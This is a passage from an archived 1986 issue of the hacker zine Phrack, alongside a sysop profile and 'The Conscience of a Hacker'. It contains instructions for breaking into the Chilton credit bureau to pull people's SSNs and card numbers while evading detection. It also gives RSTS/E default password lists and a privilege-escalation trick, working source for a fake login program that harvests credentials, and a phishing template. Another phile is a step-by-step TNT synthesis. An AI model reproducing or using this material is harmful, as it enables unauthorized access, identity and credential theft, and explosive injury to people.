home *** CD-ROM | disk | FTP | other *** search
/ Phoenix Rising BBS / phoenixrising.zip / phoenixrising / phrack / phrack07.arj / PHRACK7.PHK
Text File  |  1990-05-18  |  80KB  |  1,645 lines
  1.                                ==Phrack Inc.==
  2.  
  3.                     Volume One, Issue 7, Phile #1 of 10
  4.  
  5.                                    7/25/86
  6.  
  7.     Welcome to Phrack VII.  I'm glad to be back to be able to create something
  8. like this.  It was rather hard from the hospital.  Anyway, I'd like to take
  9. you aside and talk to those of you who have various misconceptions about
  10. Phrack Inc.  First off, Phrack Inc. isn't written by myself, Knight Lightning,
  11. or Cheap Shades.  We merely collect the philes and distribute them in a group.
  12. The articles within are the sheer responsibility of the author.  If you do not
  13. like the philes, talk to the author, not any of us, unless it says in the
  14. phile that we wrote it, please.  Phrack World News is merely a sub-article of
  15. Phrack Inc.  and it is written by Knight Lightning.  He is to be addressed for
  16. all comments about his ever-controversial PWN, and we'd appreciate it if you'd
  17. not condemn the whole publication just for a few articles.
  18.  
  19.     Anyone can write for Phrack Inc. now.  If you have an article you'd like
  20. published or a story for Phrack World News, get in touch with one of us (Taran
  21. King, Cheap Shades, and Knight Lightning) and as long as it fits the
  22. guidelines, it should make it in.  If you have been one of the many ragging on
  23. Phrack Inc., please, write a phile and see if you can improve our status with
  24. your help.  Thanks for your time.  Later on.
  25.  
  26.                                              Taran King
  27.                                     Sysop of Metal Shop Private
  28.  
  29. Featured in this Phrack Inc.:
  30.  
  31. #1  Intro/Index by Taran King (2175 bytes)
  32. #2  Phrack Pro-Phile of Scan Man by Taran King (7133 bytes)
  33. #3  Hacker's Manifesto by The Mentor (3561 bytes)
  34. #4  Hacking Chilton's Credimatic by Ryche (7758 bytes)
  35. #5  Hacking RSTS Part 1 by The Seker (11701 bytes)
  36. #6  How to Make TNT by The Radical Rocker (2257 bytes)
  37. #7  Trojan Horses in Unix by Shooting Shark (12531 bytes)
  38. #8  Phrack World News VI Part 1 by Knight Lightning (15362 bytes)
  39. #9  Phrack World News VI Part 2 by Knight Lightning (16622 bytes)
  40. #10 Phrack World News VI Part 3 by Knight Lightning (16573 bytes)
  41.  
  42.  
  43. ==============================================================================
  44.                                ==Phrack Inc.==
  45.  
  46.                     Volume One, Issue 7, Phile #2 of 10
  47.  
  48.                             ==Phrack Pro-Phile IV==
  49.  
  50.                        Written and Created by Taran King
  51.  
  52.                                     6/28/86
  53.  
  54.          Welcome to Phrack Pro-Phile IV. Phrack Pro-Phile is created to bring
  55. info to you, the users, about old or highly important/controversial people.
  56. This month, I bring to you one of the most influential users of our times and
  57. of days of old...
  58.  
  59.                                    Scan Man
  60.                                    ~~~~~~~~
  61.  
  62.          Scan Man is the sysop of Pirate 80 (P-80), a telcom enthusiasts'
  63. bulletin board in Charleston, West Virginia (304).
  64. -------------------------------------------------------------------------------
  65. Personal
  66. ~~~~~~~~
  67.              Handle: Scan Man
  68.            Call him: Scan Man
  69.        Past handles: None
  70.       Handle origin: Thought it up while writing a scanning program.
  71.       Date of Birth: 8/30/53
  72. Age at current date: 32 years old
  73.              Height: 6'1
  74.              Weight: About 225 lbs.
  75.           Eye color: Green
  76.          Hair Color: Dark Blond to Light Brown
  77.           Computers: 2 TRS Model I's (one of which the BBS is run on), Tandy
  78.                      Model 1000 (IBM Compatible), a 132 Column Dot Matrix, a
  79.                      132 Column Daisy Wheel, a Model 100 Portable, a TRS Color
  80.                      Computer, and a backup 80 Column Dot Matrix Printer.
  81.   Sysop/Co-Sysop of: Pirate 80 (P-80)
  82.  
  83. -------------------------------------------------------------------------------
  84.          Scan Man started out in the BBS world about 7 years ago when he first
  85. got his modem, a 300 Baud Auto-Answer/Auto-Dial Micro-Connection Modem (made
  86. by Micro Peripheral Corp.) with tape input and output.  Pirate 80 went up 4
  87. years ago this Halloween, which consisted of a TRS Model 1, 3 40 track, single
  88. sided, double density floppies, and a 300 baud modem (which held up until 6
  89. months ago).  At the time of arising, the board was put up for interests in
  90. phreaking, hacking, as well as pirating.  Within the first 6 months to now,
  91. Scan Man had gone through 6 BBS programs, and is quite satisfied with the
  92. current one.  First, he started with a pirated version of TBBS 1.2, then an
  93. upgrade to 1.3, pirated again (occurred and at the same time a hard drive was
  94. added after a number of disk drive changes and modifications).  Scan Man,
  95. through his BBS (which was in the first 5 all phreak/hack BBS's to ever go up,
  96. and is the oldest phreak board in the country), has met or talked to what he
  97. considers "anybody who is anybody".  At 11 years old, he found a few old
  98. phones, took them apart, and got them working, which was when his interest in
  99. telecom arose.  He was led into the phreak world when he became aware that he
  100. could phreak (articles he read such as blue box articles).  At the time, BBS's
  101. and personal computers did not exist at this time.  The first board he called
  102. that involved phreaking was the old Pirate's Harbor.  An anonymous message
  103. posted there had a few alternate long distance service codes posted.  He was
  104. very excited that he had stumbled upon this thrill and he spent the first year
  105. or so calling around finding exactly what everyone was into and from there
  106. forward he started manufacturing various devices with the Researcher.  They
  107. worked together and learned together.  Because so much information posted was
  108. inaccurate, they did this to make it accurate and found out what was the real
  109. stories.  The more memorable phreak boards that he was on included Plovernet,
  110. (and all pre-Plovernet), L.O.D., AT&T Phone Center, Pirates of Puget Sound, as
  111. well as a few others which he couldn't remember offhand because it was so long
  112. ago.
  113.  
  114.  
  115.          Scan Man's work is as a computer consultant (systems analyst).  He
  116. checks security as well as enhancements, improvements, and debugging.  He's
  117. been doing this for about a year now.
  118.  
  119.          Scan Man's hack and phreak interests are unknown to his employers.
  120. He
  121. has attended various things including sneaking into a seminar on the DMS-250
  122. Digital Switching System, and before that, TelePub '86, and he's sneaked into
  123. other various telcom/computer security seminars.  He starts one project at a
  124. time and does things step by step.  He's very concentrated in his projects.
  125.  
  126.          Scan Man frowns upon groups and says, "If you're any damn good at
  127. all,
  128. you're going to get a reputation whether you like it or not."
  129.  
  130. -------------------------------------------------------------------------------
  131.  
  132.         Interests: Telecommunications (modeming, phreaking, hacking,
  133.                    satellite scanning), white water rafting, snow skiing,
  134.                    dancing (he used to be a roller skating dance/disco
  135.                    instructor), and boating.
  136.  
  137. Scan Man's Favorite Things
  138. --------------------------
  139.  
  140.        Foods: Junk food, or an expensive restaurant once a week or so.
  141.       Movies: He's a movie buff, and goes regularly, by himself even.
  142.      Animals: He's an animal lover.
  143. Pyrotechnics: They manufacture various fireworks as a hobby.
  144.  
  145.  
  146. Most Memorable Experiences
  147. --------------------------
  148.  
  149. The Newsweek Incident with Richard Sandza.
  150. Last year's New Years' Phreak Party.
  151.  
  152.  
  153. Some People to Mention
  154. ----------------------
  155.  
  156. The Researcher (for helping him out in starting out with phreak/hacking.)
  157. The Coco Wizard (helped a lot with the BBS and the hardware on the computer.)
  158. King Blotto, Mr. Gucci, and The Scanner (people he could do without.)
  159.  
  160. -------------------------------------------------------------------------------
  161.  
  162.          Scan Man dislikes the bickering and fighting between the phone
  163. phreaks
  164. of modern day because they're just fighting to climb the social ladder.  He
  165. dislikes the current phone phreaks because they're not in it to learn, and are
  166. only in it to gain a big reputation.  The old phreaks were those that wanted to
  167. be there because they were a student of the network and had a true desire to
  168. learn.  It's become an ego/power-trip of the modern teenage America.  They're
  169. only in it to impress other people, and write philes just to get the
  170. reputation, rather than to write it for the information in it, and collect them
  171. only to say their collection is sizable.  He feels that credit cards are voodoo
  172. because it seems to be what people and sysops get busted for the most.
  173.  
  174. -------------------------------------------------------------------------------
  175.  
  176. I hope you enjoyed this phile, look forward to more Phrack Pro-Philes coming in
  177. the near future.  ...And now for the regularly taken poll from all
  178. interviewees.
  179.  
  180. Of the general population of phreaks you have met, would you consider most
  181. phreaks, if any, to be computer geeks?  90% of the phreaks, yes.  10% or less
  182. are in it to learn.  He respects that small percentage..  Thank you for your
  183. time, Scan Man.
  184.  
  185.                                             TARAN KING
  186.                                    SYSOP OF METAL SHOP PRIVATE
  187.  
  188.  
  189. =============================================================================
  190.  
  191.                                ==Phrack Inc.==
  192.  
  193.                     Volume One, Issue 7, Phile #3 of 10
  194.  
  195.         The following was written shortly after my arrest.  I am currently
  196. groupless, having resigned from the Racketeers, so ignore the signoff...
  197.  
  198. The Conscience of a Hacker... by The Mentor... 1/8/86
  199.         Another one got caught today, it's all over the papers.  "Teenager
  200. Arrested in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
  201.         Damn kids.  They're all alike.
  202.         But did you, in your three-piece psychology and 1950's technobrain,
  203. ever take a look behind the eyes of the hacker?  Did you ever wonder what
  204. made him tick, what forces shaped him, what may have molded him?
  205.         I am a hacker, enter my world...
  206.         Mine is a world that begins with school... I'm smarter than most of
  207. the other kids, this crap they teach us bores me...
  208.         Damn underachiever.  They're all alike.
  209.         I'm in junior high or high school.  I've listened to teachers explain
  210. for the fifteenth time how to reduce a fraction.  I understand it.  "No, Ms.
  211. Smith, I didn't show my work.  I did it in my head..."
  212.         Damn kid.  Probably copied it.  They're all alike.
  213.         I made a discovery today.  I found a computer.  Wait a second, this is
  214. cool.  It does what I want it to.  If it makes a mistake, it's because I
  215. screwed it up.  Not because it doesn't like me...
  216.                 Or feels threatened by me...
  217.                 Or thinks I'm a smart ass...
  218.                 Or doesn't like teaching and shouldn't be here...
  219.         Damn kid.  All he does is play games.  They're all alike.
  220.         And then it happened... a door opened to a world... rushing through
  221. the phone line like heroin through an addict's veins, an electronic pulse is
  222. sent out, a refuge from the day-to-day incompetencies is sought... a board is
  223. found.
  224.         "This is it... this is where I belong..."
  225.         I know everyone here... even if I've never met them, never talked to
  226. them, may never hear from them again... I know you all...
  227.         Damn kid.  Tying up the phone line again.  They're all alike...
  228.         You bet your ass we're all alike... we've been spoon-fed baby food at
  229. school when we hungered for steak... the bits of meat that you did let slip
  230. through were pre-chewed and tasteless.  We've been dominated by sadists, or
  231. ignored by the apathetic.  The few that had something to teach found us will-
  232. ing pupils, but those few are like drops of water in the desert.
  233.         This is our world now... the world of the electron and the switch, the
  234. beauty of the baud.  We make use of a service already existing without paying
  235. for what could be dirt-cheap if it wasn't run by profiteering gluttons, and
  236. you call us criminals.  We explore... and you call us criminals.  We seek
  237. after knowledge... and you call us criminals.  We exist without skin color,
  238. without nationality, without religious bias... and you call us criminals.
  239. You build atomic bombs, you wage wars, you murder, cheat, and lie to us
  240. and try to make us believe it's for our own good, yet we're the criminals.
  241.         Yes, I am a criminal.  My crime is that of curiosity.  My crime is
  242. that of judging people by what they say and think, not what they look like.
  243. My crime is that of outsmarting you, something that you will never forgive me
  244. for.
  245.         I am a hacker, and this is my manifesto.  You may stop this indiv-
  246. idual, but you can't stop us all... after all, we're all alike.
  247. +++The Mentor+++
  248.    Racketeers
  249.  
  250. ==============================================================================
  251.  
  252.                                ==Phrack Inc.==
  253.  
  254.                     Volume One, Issue 7, Phile #4 of 10
  255.  
  256.                              -=:> Hacking The <:=-
  257.                       -=:> Chilton Corp. Credimatic <:=-
  258.                               -=:] By: Ryche [:=-
  259.                                     6/24/86
  260.  
  261. This is the complete version of Hacking Chilton. There is another one that is
  262. floating around that's not as complete. If you see it anywhere please ask the
  263. sysop to kill it and put this one in its place.
  264.  
  265. The Chilton Corp. is a major credit firm located on Greenville Ave. in Dallas.
  266. This is where a lot of the companies that you apply for credit, check you and
  267. your neighbors credit records. Unlike other credit systems such as TRW and
  268. CBI, this one contains the records for people with good credit and doesn't
  269. wipe out some of the numbers of the cards themselves. All information is
  270. complete and includes full numbers as well as the bank that issued it, limit,
  271. payments due, payments late, their SSN, current & former address, and also
  272. their current and former employer. All you need to know to access this info is
  273. the full name, and address of your "victim".
  274.  
  275. Now, how to hack the Chilton. Well, the Chilton system is located in Dallas
  276. and the direct dialup (300/1200) is 214-783-6868. Be in half duplex and hit
  277. return about 10 times until it starts to echo your returns. There is a command
  278. to connect with E-mail that you can put in before echoing return. By echoing
  279. the return key your signifying that you want the credit system. I wont go into
  280. E-mail since there is nothing of special interest there in the first place. If
  281. you are interested in it, try variations of /x** (x=A,B,C,etc.).  All input is
  282. in upper case mind you. Back to the credit part, once you echo return, you can
  283. type: DTS Ctrl-s if you really need to see the date and time or you can simply
  284. start hacking. By this, I mean:
  285. SIP/4char. Ctrl-s
  286.  
  287. This is the Sign In Password command followed by a 4 character alpha numeric
  288. password, all caps as I said before. You can safely attempt this twice without
  289. anyone knowing your there. After the third failed attempt the company printer
  290. activates itself by printing "Login Attempt Failed". This is not a wise thing
  291. to have printed out while your trying to hack into it since there is always
  292. someone there. If you try twice and fail, hit Ctrl-d, call back, echo, and try
  293. again. You can keep doing this as long as you wish since there is no other
  294. monitoring device than that printer I mentioned before. Since this only
  295. activates when you fail to login correct you can safely say there is little if
  296. no danger of your discovery. I would suggest going through an extender though
  297. since Chilton does have access to tracing equipment.  About the passwords, as
  298. far as I know, there are 3 different classes of them with varying privileges,
  299. these are:
  300. 1-User/Employee
  301. 2-Permanent/Secretary
  302. 3-Input Output
  303.  
  304. The first one is just to look and pull credit reports. These passwords go dead
  305. every Sunday night at 11:00pm or so. The new ones are good from Monday to
  306. Sunday night. Even though your pass is good for one week, there are limited
  307. times you can use this. The credit system is only accessible at these times:
  308. Mon-Fri: 8:00am to 11:00pm, Sat: 8:00am to 9:00pm, and Sun: 8:00am to 6:00pm
  309. The second class is the same as the first except that these only change
  310. whenever someone leaves the company. These were originally supposed to be set
  311. up for the secretaries so that if they ever need quick access they could w/o
  312. having to go down to the Credit Dept. every week for a new password.  The
  313. third is one I have never gotten..yet. It has the ability to alter a persons
  314. credit reports for one month. At the first of the month the system updates all
  315. reports and changes your alterations to the credit reports. Doing this though
  316. would warrant going through a diverter since your fucking with someone's life
  317. now. Once you have hacked a pass and it accepts the entry it will display the
  318. warning:
  319.  
  320.  ****WARNING! UNAUTHORIZED ACCESS OF THIS SYSTEM IS A FEDERAL CRIME!****
  321.  
  322. Or something along the same lines. After this you should be left to input
  323. something. This is where you enter either In House Mode, System Mode, or
  324. Reporting Mode. In House Mode will give you the reports for the people living
  325. in Dallas/Fort Worth and surrounding counties. System Mode is good for
  326. surrounding states that include:
  327. Massachusets, Illinois, Louisiana, Missouri, Arkansas, New Mexico, Colorado,
  328. Arizona, some of New Jersey, and a few others I cant remember. There are 11
  329. states it covers. Reporting is a mode used for getting transcripts of a
  330. persons reports and would require you to input a companies authorization
  331. number. So for this file lets stick to In House and System.
  332. Get your victims stats ready and enter a mode:
  333. In House:  I/NH Ctrl-s   (Dallas/Ft. Worth 214)
  334. System:  I/S Ctrl-s   (All other NPA's)
  335.  
  336. After that its time to pull records. Type in:
  337. I/N-Last Name/F-First Name/L-Street Name/Z-Zip Code/** Ctrl-s
  338.  
  339. If you don't know his street name, use 'A' and it will go into a global search
  340. routine until it finds name that match or are at least 80% similar to the one
  341. you used. Although the Zip Code is not needed and can be left out, it does
  342. narrow the search field down considerably. Once it finds the name, it will
  343. show you his Name, SSN, Current Address, Employer, and former ones if there
  344. are any. Right after his name you will see a ID number. Sorta like: #100-xxxxx
  345. Write this down as it is your key to getting his reports. After it finishes
  346. listing what it has on him its time to see the full story. Type:
  347. N/100-xxxxx/M/D Ctrl-s
  348.  
  349. What it will display now is his whole credit history. When you first pulled
  350. his ID number you might have seen he had two names but with a variance like
  351. middle name or a misspelled address. Pull both of them as they are just an
  352. error in whoever put the reports in. I would suggest capturing this so that
  353. you can refer back to it w/o having to access the system every time.
  354.  
  355. There is another way to get into Chilton through Tymnet but I have no idea of
  356. the address for this and its a waste of time. If you happen to get the name
  357. and address of an employee of the company forget the idea of pulling his
  358. stats, Chilton doesnt allow employee records to be in there. One very good
  359. point made not too long ago is the prospect of going through the phone book
  360. and picking names at random.
  361.  
  362. Although Credit Card numbers are displayed credit card fraud is thwarted by
  363. the small fact that it does not show expiration dates. No company making an
  364. actual inquisition on a person would need that information and to prevent the
  365. fraudulent or misuse of the information they were left out. There is an
  366. interesting note that at one time in the companies history they did have a
  367. small # that signified a drug record. This was taken out as it wasn't
  368. pertinent to the computers purpose and was only there because Borg Warner, the
  369. company that owns Chilton wanted to pry into peoples lives. The computer has a
  370. 10 line rotary, so unless there are 11 people using it at the same time your
  371. chances of getting a busy signal are almost if not next to nil.
  372.  
  373. Disclaimer:
  374. The information provided in this file is a tutorial and is provided for the
  375. purpose of teaching others about this system and how it operates. It is not
  376. provided to promote the fraudulent use of credit cards or any other such
  377. action(s) that could be considered illegal or immoral. Myself, and the
  378. editors/publishers/distributors of this newsletter are in no way responsible
  379. for the actions or intentions of the reader(s) of this file.
  380.  
  381. <>>>> Ryche <<<<>
  382. ==============================================================================
  383.  
  384.                                ==Phrack Inc.==
  385.  
  386.                     Volume One, Issue 7, Phile #5 of 10
  387.  
  388.  
  389. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  390. $                                    $
  391. $         PROGRAMMING RSTS/E         $
  392. $          File1: Passwords          $
  393. $                                    $
  394. $           by:  The Seker           $
  395. $                  TOK!              $
  396. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  397. $     Written  (c)  May 22, 1986     $
  398. $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  399.  
  400.                  A 'TRIBUNAL COMMUNICATIONS' Presentation
  401. -------------------------------------------------------------------------------
  402.  
  403. PREFACE:
  404. --------
  405.  
  406.      This document is first in a series of ongoing files about using the
  407. RSTS/E operating system.  All the files are based on version 8.0 as it is
  408. almost fully compatible with the previous releases.  If the need arises I have
  409. made sure to note differences between V8.x and V9.x.
  410.    Credit goes to High Evolutionary for urging me to write these files; to
  411. Night Stalker for sharing info; and to all other RSTS hackers that have
  412. contributed in some way or another.
  413.  
  414. HISTORY:
  415. --------
  416.      The RSTS/E (Resource System Time Sharing /Environment) operating system
  417. was developed for the PDP/11 series of minicomputers created by DEC. (Digital
  418. Equipment Corporation)  It was developed with ease of use for the user (and
  419. hacker) in mind.  Because of this, there have been a lot of overlooked errors
  420. leaving the system with quite weak security.  In later versions, especially
  421. the 9.x series password security has been greatly improved and is more secure,
  422. but still has plenty of bugs for us to breach.
  423.  
  424. LOGGING ON:
  425. -----------
  426.      Briefly.. locate a valid number and connect.  Hit c/r (carriage return) a
  427. few times or type:
  428.  HELLO
  429. The system should identify itself displaying to you who owns it, what version
  430. they're running under, the date, and the time.  Then it will prompt for an
  431. account number and a password.
  432.      Accounts are in a PPN (Project Program Number) format.  This is actually
  433. two numbers each between 0 and 254 separated by a comma or a slash.  (eg. 3,45
  434. or 27/248)  Privileged accounts which you should hopefully be striving for all
  435. start with a 1.  So start hacking 1,x accounts.
  436.      Passwords are 1-6 characters long.  They are only alphanumeric so you
  437. don't have to worry about all that other shit being included.  On V9.x systems
  438. passwords may be up to 8 characters if the operator has changed the default
  439. length.  But this rarely ever happens as most ops are too lazy.
  440.      Common passwords are:
  441.  SYSLIB
  442.  SYSGEN
  443.  SYSCON
  444.  SYSMGR
  445.  SYSOPR
  446.  SYSTEM
  447.  OPRATR
  448.  RSTS
  449.  DECNET
  450.  GAMES
  451.  YYYYYY
  452.  XXXXXX
  453.  XYXYXY
  454.  DATA
  455.  RICH
  456.  XXX
  457.  AAA
  458.      Many of those have been rumored to be defaults.  But actually I think the
  459. true default (if there is one!) password is:
  460.  RSTSE
  461.      Also, accounts that have a password of:
  462.  ??????
  463. are only accessible by operators.
  464.      Remember to try names, cars, objects, the name of the company (in
  465. different variations), etc.  Cause most people generally pick passwords that
  466. have some relation to their private life.. Take a little time and guess...
  467.  
  468. YOUR IN!
  469. --------
  470.      Once you have succeeded in hacking out a valid password, whether it be
  471. privileged or not, I suggest you find out who is logged onto the system.  You
  472. can do this simply by typing:
  473.  SY
  474.      This will tell you everyone logged on, what they are doing at the moment,
  475. their job number, whether they are attached or detached, and a hell of a lot of
  476. other crap.  What you are looking for is someone else logged in under the same
  477. account you are.  If you find another user in the same account you hacked, log
  478. off and call back later.  This will prolong the life of your account and
  479. prevent a rise in suspicion by the sysops.  Remember, every system keeps a log
  480. of what you do, and if two people are logged in under the same account many
  481. times the sysops will delete or change the password to that account.
  482.      If everything checks out okay, you're free to do as you please.  To list
  483. the files in your allotted space type:
  484.  DIR
  485. or to see all the files on the system type:
  486.  DIR (*,*)
  487.     NOTE: [ ] may be used in place of ( ) when dealing with files.
  488.      * acts as a wildcard on the RSTS system and can be used in place of
  489. account numbers when searching for specific files.  Speaking of searching for
  490. files; to run a file type:
  491.  RUN filename.filetype
  492. where filename = the file you wish to run, and filetype = the extension.
  493.      Experiment!  Try what you will.  If you ever need help just type:
  494.  HELP
  495.      Read the files contained within help.  They are very detailed and I
  496. guarantee can help you with what ever it is you need done.
  497.      One other thing, a few useful control characters are:
  498.  ^C   Breaks out of whatever your doing
  499.  ^R   Repeats last line typed
  500.  ^X   If ^C doesn't work, this may
  501.  ^O   Use to stop the flow of text without aborting the function in process
  502.  ^T   Tells status and runtime of terminal
  503.  ^U   Deletes line presently being typed in
  504.  ^H   Deletes characters
  505.  ^S   Transmission off
  506.  ^Q   Transmission on
  507.  
  508. GAINING PRIVILEGES:
  509. -------------------
  510.      If you weren't able to hack out a privileged account don't panic.  There
  511. are still a few other ways for you to attain sysop status.  These methods may
  512. not always work, but they are worth a try.
  513.    ]SYSTEM LOG[
  514.      On many RSTS/E systems before V9.0 there is one account dedicated to
  515. keeping the system log; everything you and everyone else does.  I have found
  516. this account many times to be 1,101, 1,2, or 0,1 but you may want to do a
  517. directory find to make sure.  Type:
  518.  DIR (*,*)OPSER.LOG
  519. or if nothing appears from that type:
  520.  DIR (*,*)SYSLOG.*
  521. or
  522.  DIR (*,*)
  523.      Look for a file similar in name to that and mark down the account it
  524. appears in.  Now that you know which account the system log resides in logoff.
  525.  BYE
  526.      Then sign back on using the account in which the file was in.  For
  527. password try one of the following:
  528.  OPSER
  529.  OPSLOG
  530.  LOG
  531.  OPS
  532.  OOPS
  533.  OPRATR
  534.  SYSLOG
  535.  SYSTEM
  536.      These are common passwords to that account.  If none of these work your
  537. out of luck unless you can think of some other password that may be valid.
  538.    ]SYSTEM BUGS[
  539.      When operating systems as complex as RSTS/E are created there will
  540. undoubtedly be a few bugs in the operation or security.  (Sometimes I am not
  541. sure if these are intentional or not.)  These can often be taken advantage of.
  542. One that I know of is RPGDMP.TSK.  To use this type:
  543.  RUN (1,2)RPGDMP
  544.      It will ask for a filename, and an output device.  Give it any filename
  545. on
  546. the system (I suggest $MONEY, $REACT, or $ACCT.SYS) and it will be dumped to
  547. the specified device. (db1:, screen, etc).
  548.      Credit for this goes to The Marauder of LOD for finding, exposing and
  549. sharing this bug with all.
  550.      If you find any other bugs similar to this, I would appreciate your
  551. getting in touch with and letting me know.
  552.  
  553. GETTING PASSWORDS:
  554. ------------------
  555.      Now that you've hopefully gotten yourself priv's we can get on with these
  556. files.  Getting many passwords is a safety procedure, kind of like making a
  557. backup copy of a program.  There are a number of ways to get yourself
  558. passwords, the easiest is by using privileges, but we will discuss that in a
  559. later file.  The methods I am going to explain are the decoy and a trick I like
  560. to use, which I call the mail method.
  561.    ]DECOY[
  562.      The decoy, commonly called a Trojan Horse, (which is something completely
  563. different) is a program which emulates login.bac.  When the unsuspecting user
  564. enters his account and password you have your program store it into a file that
  565. you can retrieve later.  Here is a short program I've written that will preform
  566. this task:
  567.  
  568. type NEW and it will prompt for a filename.  Enter something not to obvious.
  569.  
  570.    1 ! RSTSE Decoy
  571.    2 ! Written by The Seker (c) 1986 TOK!
  572.    5 extend
  573.   10 print:print
  574.   20 &"RSTS V8.0-07 TOK Communications Ltd.  Job 7  <Dial-up> KB41
  575.  ";date$(0);"  ";time$(0)
  576.   30 print
  577.   40 &"User: ";
  578.   50 open "KB:" for input as file #1
  579.   60 on error goto 300
  580.   70 input #1,proj%,prog%
  581.   80 z$=sys(chr$(3%))
  582.   90 &"Password: ";
  583.  100 on error goto 300
  584.  110 input #1,pass$
  585.  120 print:z$=sys(chr$(2%))
  586.  130 close #1
  587.  140 open "SYSLIB.BAC" for output as file #2
  588.  150 print #2,proj%
  589.  160 print #2,prog%
  590.  170 print #2,pass$
  591.  180 close #2
  592.  200 print:print
  593.  210 off$=sys(chr$(14%)+"bye/f"+chr$(13))
  594.  300 if erl=70 then goto 350
  595.  310 if erl=110 then goto 360
  596.  350 &"Invalid entry - try again":z$=sys(chr$(2%)):try=try+1:if try=5 then
  597. goto
  598. 200 else resume 30
  599.  360 &"Invalid entry - try again":try=try+1:if try=5 then goto 200 else resume
  600. 90
  601.  999 end
  602.  
  603.      The program as I said emulates login.bac, then logs the person off after
  604. a
  605. few tries.  Save this program.  Then run it.  When it starts, just drop the
  606. carrier.  The next person to call within 15 minutes will get your imitation
  607. login.
  608.      If you are working on an older system like V7.0 change line 40 to read:
  609.  40 &"# ";
  610.    NOTE: This will not work without modifications on releases after V8.7.  An
  611. improved and updated version of this program will be released as a small file
  612. at a later date.
  613.      Next time you login and you want to recover the file type:
  614.  TYPE SYSLIB.BAC
  615.      It should print out the account and password.  If you set this running
  616. each time you plan on hanging up within a few days you'll have yourself a
  617. handful of valid accounts.
  618.    ]MAIL[
  619.      To run mail type:
  620.  RUN $MAIL
  621.      The mail method is probably used by many hackers and since I like to use
  622. it, I thought I'd tell you what it was.
  623.      When you run the program the utility will tell you exactly how to use
  624. itself.  Assuming you know a little about it anyway we will get on with the
  625. file.  The object is to send mail to another user and try and convince him/her
  626. you are the sysop and are writing him/her to validate their password.  Don't
  627. try this with a priv'd user!  It would result in instant deletion.
  628.      Here's basically what you'd type:
  629.  
  630.    Hello.  We are contacting each of the users and validating their records to
  631. keep our files up to date. If you would cooperate and leave me a response which
  632. includes your full name, account number, and password we would appreciate your
  633. help.
  634.  
  635.                                            John Doe
  636.                                        System's Operator
  637.                                              4,11
  638.  
  639.      As you can see the idea is to con a user into believing you are one of
  640. the
  641. system ops.  I would say this method works approximately 70% of the time on
  642. most systems since users often times don't associate with sysops.  Use a
  643. different name if you try this though, as John Doe wouldn't fool anyone.  (Be
  644. creative)  Also the 4,11 is the account you'd like them to leave the response
  645. too.
  646.      You can try a few variations of this if you like.  For example, if the
  647. system you're hacking has a chat program:
  648.  RUN $TALK
  649. you can just talk live time to them.  Or if you somehow (like trashing) manage
  650. to get a list of all the users and their phone numbers, you can call them up
  651. and bullshit them.
  652.  
  653.    NOTE: This document is intended for informational purposes only.  The
  654. author
  655. is in no way responsible for how it is used.  Sysops are free to display this
  656. at their will as long as no information within is altered and all
  657. acknowledgements go to The Seker and members of The Tribunal of Knowledge.
  658.  
  659. -------------------->   (c) 1986 TRIBUNAL OF KNOWLEDGE!  <--------------------
  660.  
  661.  
  662. =============================================================================
  663.  
  664.                                ==Phrack Inc.==
  665.  
  666.                     Volume One, Issue 7, Phile #6 of 10
  667.  
  668.                   XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX
  669.                   Xx                                   xX
  670.                   Xx         American Dynamite         xX
  671.                   Xx                                   xX
  672.                   Xx           By The Rocker           xX
  673.                   Xx                of                 xX
  674.                   Xx        Metallibashers Inc.        xX
  675.                   Xx                                   xX
  676.                   Xx      for: ==Phrack Inc.==         xX
  677.                   Xx                                   xX
  678.                   XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxX
  679.  
  680. Recipe:
  681.  
  682. Mix 170 parts tolulene with 100 parts acid.  The acid made of 2 parts of 70%
  683. nitric and 3 parts of 100% sulfuric.  Mix below 30 degrees. Set this down for
  684. 30 min. and let it separate. Take the mononitrotolulene and mix 100 part of it
  685. with 215 parts of acid. This acid is 1 part pure nitric and 2 parts pure
  686. sulfuric. Keep the temperature at 60- 70 degrees while they are slowly mixed.
  687. Raise temp to 90-100 and stir for 30 min.  The dinitrotoluene is separated and
  688. mix 100 parts of this stuff with 225 parts of 20% oleum which is 100% sulfuric
  689. with 20% extra dissolved sulfur trioxide, and 65 parts nitric acid.  Heat at
  690. 95 degrees for 60 min.  Then at 120 degrees for 90 min.
  691.  
  692. Separate the trinitrotoluene and slosh it around in hot water. Purify the
  693. powder by soaking it in benzyne.
  694.  
  695.                            Presto!  American Dynamite!
  696.  
  697. Thanx to S.A. for the idea!   Thanx to Phrack Inc. for just being a sponsor!
  698.  
  699. Don't forget to call these systems after you obliterate someone's house with
  700. that T.N.T...
  701.                    =======================================
  702.                    Speed Demon Elite..........415/522-3074
  703.                    High Times.................307-362-1736
  704.                    Metalland South............404-576-5166
  705.                    Brainstorm Elite...........612-345-2815
  706.                    Atlantis...................215-844-8836
  707.                    =======================================
  708.  
  709. Metallizing,
  710.     The Rocker/MBI
  711.  
  712.  
  713. ==============================================================================
  714.  
  715.                                ==Phrack Inc.==
  716.  
  717.                     Volume One, Issue 7, Phile #7 of 10
  718.  
  719. ------------------
  720. UNIX Trojan Horses
  721. ------------------
  722.  
  723. By Shooting Shark of Tiburon Systems / R0DENTZWARE - 6/26/86
  724.  
  725. Introduction
  726. ------------
  727.  
  728.      "UNIX Security" is an oxymoron.  It's an easy system to brute-
  729. force hack (most UNIX systems don't hang up after x number of login
  730. tries, and there are a number of default logins, such as root, bin,
  731. sys and uucp).  Once you're in the system, you can easily bring
  732. it to its knees (see my previous Phrack article, "UNIX Nasty Tricks")
  733. or, if you know a little 'C', you can make the system work for you
  734. and totally eliminate the security barriers to creating your own
  735. logins, reading anybody's files, etcetera.  This file will outline
  736. such ways by presenting 'C' code that you can implement yourself.
  737.  
  738. Requirements
  739. ------------
  740.      You'll need a working account on a UNIX system.  It should be
  741. a fairly robust version of UNIX (such as 4.2bsd or AT&T System V)
  742. running on a real machine (a PDP/11, VAX, Pyramid, etc.) for the
  743. best results.  If you go to school and have an account on the school
  744. system, that will do perfectly.
  745.  
  746. Notes
  747. -----
  748.      This file was inspired an article in the April, '86 issue of
  749. BYTE entitled "Making UNIX Secure."  In the article, the authors say
  750. "We provide this information in a way that, we hope, is interesting and
